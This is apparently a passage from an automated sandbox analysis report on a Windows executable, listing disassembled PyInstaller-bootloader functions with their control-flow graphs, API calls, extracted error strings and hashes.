                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3B51A152B09643C1FE54B762A8622BA52917F89FE0F45403DED0ECB797EE2CEC06C611
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D65EC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143timeCOMMON
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 792 7ff6850d65ec-7ff6850d6621 call 7ff6850d5cf8 call 7ff6850d5d00 call 7ff6850d5d68 799 7ff6850d675f-7ff6850d67cd call 7ff6850caec4 call 7ff6850d1be8 792->799 800 7ff6850d6627-7ff6850d6632 call 7ff6850d5d08 792->800 812 7ff6850d67cf-7ff6850d67d6 799->812 813 7ff6850d67db-7ff6850d67de 799->813 800->799 805 7ff6850d6638-7ff6850d6643 call 7ff6850d5d38 800->805 805->799 811 7ff6850d6649-7ff6850d666c call 7ff6850caf0c GetTimeZoneInformation 805->811 824 7ff6850d6672-7ff6850d6693 811->824 825 7ff6850d6734-7ff6850d675e call 7ff6850d5cf0 call 7ff6850d5ce0 call 7ff6850d5ce8 811->825 817 7ff6850d686b-7ff6850d686e 812->817 814 7ff6850d6815-7ff6850d6828 call 7ff6850cdbbc 813->814 815 7ff6850d67e0 813->815 833 7ff6850d6833-7ff6850d684e call 7ff6850d1be8 814->833 834 7ff6850d682a 814->834 818 7ff6850d67e3 815->818 817->818 821 7ff6850d6874-7ff6850d687c call 7ff6850d6370 817->821 822 7ff6850d67e8-7ff6850d6814 call 7ff6850caf0c call 7ff6850bbcc0 818->822 823 7ff6850d67e3 call 7ff6850d65ec 818->823 821->822 823->822 829 7ff6850d6695-7ff6850d669b 824->829 830 7ff6850d669e-7ff6850d66a5 824->830 829->830 836 7ff6850d66a7-7ff6850d66af 830->836 837 7ff6850d66b9 830->837 848 7ff6850d6855-7ff6850d6867 call 7ff6850caf0c 833->848 849 7ff6850d6850-7ff6850d6853 833->849 840 7ff6850d682c-7ff6850d6831 call 7ff6850caf0c 834->840 836->837 842 7ff6850d66b1-7ff6850d66b7 836->842 843 7ff6850d66bb-7ff6850d672f call 7ff6850bd0e0 * 4 call 7ff6850d31cc call 7ff6850d6884 * 2 837->843 840->815 842->843 843->825 848->817 849->840
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • _get_daylight.LIBCMT ref: 00007FF6850D661A
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850D5D68: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6850D5D7C
                                                                                                                                                                                                                                      • _get_daylight.LIBCMT ref: 00007FF6850D662B
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850D5D08: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6850D5D1C
                                                                                                                                                                                                                                      • _get_daylight.LIBCMT ref: 00007FF6850D663C
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850D5D38: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6850D5D4C
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850CAF0C: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF6850D3392,?,?,?,00007FF6850D33CF,?,?,00000000,00007FF6850D3895,?,?,00000000,00007FF6850D37C7), ref: 00007FF6850CAF22
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850CAF0C: GetLastError.KERNEL32(?,?,?,00007FF6850D3392,?,?,?,00007FF6850D33CF,?,?,00000000,00007FF6850D3895,?,?,00000000,00007FF6850D37C7), ref: 00007FF6850CAF2C
                                                                                                                                                                                                                                      • GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6850D687C), ref: 00007FF6850D6663
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _get_daylight_invalid_parameter_noinfo$ErrorInformationLanguagesLastPreferredRestoreThreadTimeZone
                                                                                                                                                                                                                                      • String ID: W. Europe Standard Time$W. Europe Summer Time
                                                                                                                                                                                                                                      • API String ID: 2248164782-690618308
                                                                                                                                                                                                                                      • Opcode ID: d89d275585cbbb59bda8e874ee0f2677ffedd79ad2d8aa11b56fbb7743459a01
                                                                                                                                                                                                                                      • Instruction ID: f923ec9199f0eac48f439a206f7baf85ca0b0d9e50496f4a2a44ed93c748b612
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d89d275585cbbb59bda8e874ee0f2677ffedd79ad2d8aa11b56fbb7743459a01
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 61515D32E18642C6E760EF65E8915A97760FF48BA4F80523DEA4DC3696DF3CE851C740
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B88D0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Find$CloseFileFirst
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2295610775-0
                                                                                                                                                                                                                                      • Opcode ID: 61dd1ed1e1c953fe7bf24916078f2f4a3db137be7e9bcdd6edf362509e7e8552
                                                                                                                                                                                                                                      • Instruction ID: 3de3228788db0c886aaaf6e6029155de7f46f637bef6829d8d0405723ca5c082
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 61dd1ed1e1c953fe7bf24916078f2f4a3db137be7e9bcdd6edf362509e7e8552
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 04F08166A18685C7EBA09F64E48876A7390FF44B34F440339D66D826E4DF3CD448DA00
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B1710 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 148COMMON
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 0 7ff6850b1710-7ff6850b1724 1 7ff6850b173e-7ff6850b1742 0->1 2 7ff6850b1726-7ff6850b173d call 7ff6850b2b30 0->2 4 7ff6850b1744-7ff6850b174d call 7ff6850b12b0 1->4 5 7ff6850b1768-7ff6850b178b call 7ff6850b7c10 1->5 13 7ff6850b175f-7ff6850b1767 4->13 14 7ff6850b174f-7ff6850b175a call 7ff6850b2b30 4->14 11 7ff6850b17b9-7ff6850b17d4 call 7ff6850b3fd0 5->11 12 7ff6850b178d-7ff6850b17b8 call 7ff6850b2890 5->12 20 7ff6850b17ee-7ff6850b1801 call 7ff6850c0814 11->20 21 7ff6850b17d6-7ff6850b17e9 call 7ff6850b2b30 11->21 14->13 26 7ff6850b1823-7ff6850b1827 20->26 27 7ff6850b1803-7ff6850b181e call 7ff6850b2890 20->27 28 7ff6850b192f-7ff6850b1932 call 7ff6850c018c 21->28 31 7ff6850b1841-7ff6850b1861 call 7ff6850c4f90 26->31 32 7ff6850b1829-7ff6850b1835 call 7ff6850b1050 26->32 37 7ff6850b1927-7ff6850b192a call 7ff6850c018c 27->37 34 7ff6850b1937-7ff6850b194e 28->34 41 7ff6850b1882-7ff6850b1888 31->41 42 7ff6850b1863-7ff6850b187d call 7ff6850b2890 31->42 38 7ff6850b183a-7ff6850b183c 32->38 37->28 38->37 44 7ff6850b188e-7ff6850b1897 41->44 45 7ff6850b1915-7ff6850b1918 call 7ff6850c4f7c 41->45 49 7ff6850b191d-7ff6850b1922 42->49 46 7ff6850b18a0-7ff6850b18c2 call 7ff6850c04dc 44->46 45->49 52 7ff6850b18c4-7ff6850b18dc call 7ff6850c0c1c 46->52 53 7ff6850b18f5-7ff6850b18fc 46->53 49->37 58 7ff6850b18de-7ff6850b18e1 52->58 59 7ff6850b18e5-7ff6850b18f3 52->59 55 7ff6850b1903-7ff6850b190b call 7ff6850b2890 53->55 62 7ff6850b1910 55->62 58->46 61 7ff6850b18e3 58->61 59->55 61->62 62->45
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Message
                                                                                                                                                                                                                                      • String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc$pyi_arch_extract2fs was called before temporary directory was initialized!
                                                                                                                                                                                                                                      • API String ID: 2030045667-3833288071
                                                                                                                                                                                                                                      • Opcode ID: 5f584f7088dbf44249761d4b7ccbccdbdd759d0cd5fd8e5eebf030efb760b50d
                                                                                                                                                                                                                                      • Instruction ID: 8b2b9f4ab8d4869ddaaf2ae1413a4ff82366604e709cd82e5ccac4719a4a3906
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f584f7088dbf44249761d4b7ccbccdbdd759d0cd5fd8e5eebf030efb760b50d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6A518C61F08683D2EA10AB11E8902B963A0BF45FE4F844539EE0CC7696DF3CEE45CB01
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B8950 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91COMMON
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(0000000100000001,00007FF6850B414C,00007FF6850B7911,?,00007FF6850B7D26,?,00007FF6850B1785), ref: 00007FF6850B8990
                                                                                                                                                                                                                                      • OpenProcessToken.ADVAPI32(?,00007FF6850B7D26,?,00007FF6850B1785), ref: 00007FF6850B89A1
                                                                                                                                                                                                                                      • GetTokenInformation.KERNELBASE(?,00007FF6850B7D26,?,00007FF6850B1785), ref: 00007FF6850B89C3
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,00007FF6850B7D26,?,00007FF6850B1785), ref: 00007FF6850B89CD
                                                                                                                                                                                                                                      • GetTokenInformation.KERNELBASE(?,00007FF6850B7D26,?,00007FF6850B1785), ref: 00007FF6850B8A0A
                                                                                                                                                                                                                                      • ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6850B8A1C
                                                                                                                                                                                                                                      • FindCloseChangeNotification.KERNELBASE(?,00007FF6850B7D26,?,00007FF6850B1785), ref: 00007FF6850B8A34
                                                                                                                                                                                                                                      • LocalFree.KERNEL32(?,00007FF6850B7D26,?,00007FF6850B1785), ref: 00007FF6850B8A66
                                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF6850B8A8D
                                                                                                                                                                                                                                      • CreateDirectoryW.KERNELBASE(?,00007FF6850B7D26,?,00007FF6850B1785), ref: 00007FF6850B8A9E
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Token$ConvertDescriptorInformationProcessSecurityString$ChangeCloseCreateCurrentDirectoryErrorFindFreeLastLocalNotificationOpen
                                                                                                                                                                                                                                      • String ID: D:(A;;FA;;;%s)$S-1-3-4
                                                                                                                                                                                                                                      • API String ID: 2187719417-2855260032
                                                                                                                                                                                                                                      • Opcode ID: 4b39613617aade8a338840617f0cca77fc3fb7a41e4dde6ea2f209984b7d61d0
                                                                                                                                                                                                                                      • Instruction ID: b2ff8d5f11b0e9a69b7a1983d11c8fb5aecc534ef8f286b393eeb513b56b7c26
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4b39613617aade8a338840617f0cca77fc3fb7a41e4dde6ea2f209984b7d61d0
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6A417332618686C2EB50AF50E4846AA6760FF84BB4F441239EA5EC76E5DF3CE844CB41
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B1AA0 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135COMMON
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _fread_nolock$Message
                                                                                                                                                                                                                                      • String ID: Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
                                                                                                                                                                                                                                      • API String ID: 677216364-1384898525
                                                                                                                                                                                                                                      • Opcode ID: 846b52575a3e29ec6c17e049124d6bfaa2b8a30358e366607dda68b9dcda7143
                                                                                                                                                                                                                                      • Instruction ID: 0e5dad59cb8f3eb3a0c73da3802e0cc631c7e7834dae1b1db509f7ea719ff9b5
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 846b52575a3e29ec6c17e049124d6bfaa2b8a30358e366607dda68b9dcda7143
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 82514971A09642C6EB14EB28E49017977A0FF48FA4F658139DA0DC779ADE7CEC40CB45
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B8080 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90processsynchronizationCOMMON
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
                                                                                                                                                                                                                                      • String ID: CreateProcessW$Error creating child process!
                                                                                                                                                                                                                                      • API String ID: 2895956056-3524285272
                                                                                                                                                                                                                                      • Opcode ID: 43f1d35e7fbf24803adac071d2ce953c020152e2d40e2e5a1956faa0815d12d1
                                                                                                                                                                                                                                      • Instruction ID: df6e312a0d2c4cf7f8229f0fce07f24bd9e691fb111b3ce3f96c119e9d317048
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 43f1d35e7fbf24803adac071d2ce953c020152e2d40e2e5a1956faa0815d12d1
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F2410531A08B86C6DA109B64E4552AAB3A4FF95770F500339E6AD877E5DF7CD844CB00
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B1000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 264COMMON
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 381 7ff6850b1000-7ff6850b39d6 call 7ff6850bff60 call 7ff6850bff58 call 7ff6850b86b0 call 7ff6850bff58 call 7ff6850bbc60 call 7ff6850c52f0 call 7ff6850c5ef8 call 7ff6850b1eb0 399 7ff6850b3ad2 381->399 400 7ff6850b39dc-7ff6850b39ec call 7ff6850b3ec0 381->400 401 7ff6850b3ad7-7ff6850b3af7 call 7ff6850bbcc0 399->401 400->399 406 7ff6850b39f2-7ff6850b3a05 call 7ff6850b3d90 400->406 406->399 409 7ff6850b3a0b-7ff6850b3a32 call 7ff6850b7b60 406->409 412 7ff6850b3a74-7ff6850b3a9c call 7ff6850b8040 call 7ff6850b1cb0 409->412 413 7ff6850b3a34-7ff6850b3a43 call 7ff6850b7b60 409->413 423 7ff6850b3b71-7ff6850b3b82 412->423 424 7ff6850b3aa2-7ff6850b3ab8 call 7ff6850b1cb0 412->424 413->412 419 7ff6850b3a45-7ff6850b3a4b 413->419 421 7ff6850b3a57-7ff6850b3a71 call 7ff6850c4f7c call 7ff6850b8040 419->421 422 7ff6850b3a4d-7ff6850b3a55 419->422 421->412 422->421 427 7ff6850b3b9e-7ff6850b3ba1 423->427 428 7ff6850b3b84-7ff6850b3b8b 423->428 438 7ff6850b3af8-7ff6850b3afb 424->438 439 7ff6850b3aba-7ff6850b3acd call 7ff6850b2b30 424->439 433 7ff6850b3ba3-7ff6850b3ba9 427->433 434 7ff6850b3bb7-7ff6850b3bcf call 7ff6850b8ae0 427->434 428->427 431 7ff6850b3b8d-7ff6850b3b90 call 7ff6850b14f0 428->431 446 7ff6850b3b95-7ff6850b3b98 431->446 435 7ff6850b3bef-7ff6850b3bfc call 7ff6850b6de0 433->435 436 7ff6850b3bab-7ff6850b3bb5 433->436 447 7ff6850b3bd1-7ff6850b3bdd call 7ff6850b2b30 434->447 448 7ff6850b3be2-7ff6850b3be9 SetDllDirectoryW 434->448 452 7ff6850b3bfe-7ff6850b3c0b call 7ff6850b6a90 435->452 453 7ff6850b3c47-7ff6850b3c4c call 7ff6850b6d60 435->453 436->434 436->435 438->423 445 7ff6850b3afd-7ff6850b3b14 call 7ff6850b3fd0 438->445 439->399 458 7ff6850b3b16-7ff6850b3b19 445->458 459 7ff6850b3b1b-7ff6850b3b47 call 7ff6850b82b0 445->459 446->399 446->427 447->399 448->435 452->453 468 7ff6850b3c0d-7ff6850b3c1c call 7ff6850b65f0 452->468 462 7ff6850b3c51-7ff6850b3c54 453->462 460 7ff6850b3b56-7ff6850b3b6c call 7ff6850b2b30 458->460 459->423 470 7ff6850b3b49-7ff6850b3b51 call 7ff6850c018c 459->470 460->399 466 7ff6850b3d06-7ff6850b3d15 call 7ff6850b34c0 462->466 467 7ff6850b3c5a-7ff6850b3c67 462->467 466->399 483 7ff6850b3d1b-7ff6850b3d6f call 7ff6850b7fd0 call 7ff6850b7b60 call 7ff6850b3620 call 7ff6850b8080 call 7ff6850b6840 call 7ff6850b6d60 466->483 472 7ff6850b3c70-7ff6850b3c7a 467->472 481 7ff6850b3c1e-7ff6850b3c2a call 7ff6850b6570 468->481 482 7ff6850b3c3d-7ff6850b3c42 call 7ff6850b6840 468->482 470->460 477 7ff6850b3c83-7ff6850b3c85 472->477 478 7ff6850b3c7c-7ff6850b3c81 472->478 479 7ff6850b3cd1-7ff6850b3d01 call 7ff6850b3620 call 7ff6850b3460 call 7ff6850b3610 call 7ff6850b6840 call 7ff6850b6d60 477->479 480 7ff6850b3c87-7ff6850b3caa call 7ff6850b1ef0 477->480 478->472 478->477 479->401 480->399 494 7ff6850b3cb0-7ff6850b3cba 480->494 481->482 495 7ff6850b3c2c-7ff6850b3c3b call 7ff6850b6c30 481->495 482->453 517 7ff6850b3d71-7ff6850b3d78 call 7ff6850b7d40 483->517 518 7ff6850b3d7d-7ff6850b3d80 call 7ff6850b1e80 483->518 498 7ff6850b3cc0-7ff6850b3ccf 494->498 495->462 498->479 498->498 517->518 521 7ff6850b3d85-7ff6850b3d87 518->521 521->401
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B3EC0: GetModuleFileNameW.KERNEL32(?,00007FF6850B39EA), ref: 00007FF6850B3EF1
                                                                                                                                                                                                                                      • SetDllDirectoryW.KERNEL32 ref: 00007FF6850B3BE9
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B7B60: GetEnvironmentVariableW.KERNEL32(00007FF6850B3A1F), ref: 00007FF6850B7B9A
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B7B60: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6850B7BB7
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
                                                                                                                                                                                                                                      • String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
                                                                                                                                                                                                                                      • API String ID: 2344891160-3602715111
                                                                                                                                                                                                                                      • Opcode ID: 75d5e878bc4890178a3da353d5770ee612a7f9e78672ba99b8074ad5dbb5bed5
                                                                                                                                                                                                                                      • Instruction ID: 5c414074f4d01e4257815459054694e03692acea26a0f3492674898f9771aec6
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 75d5e878bc4890178a3da353d5770ee612a7f9e78672ba99b8074ad5dbb5bed5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E8B18D61E1C687D1EA65BB2194912FD62A0FF84FA4F500139EA4DC779AEF2CED05C702
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B1050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156COMMON
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
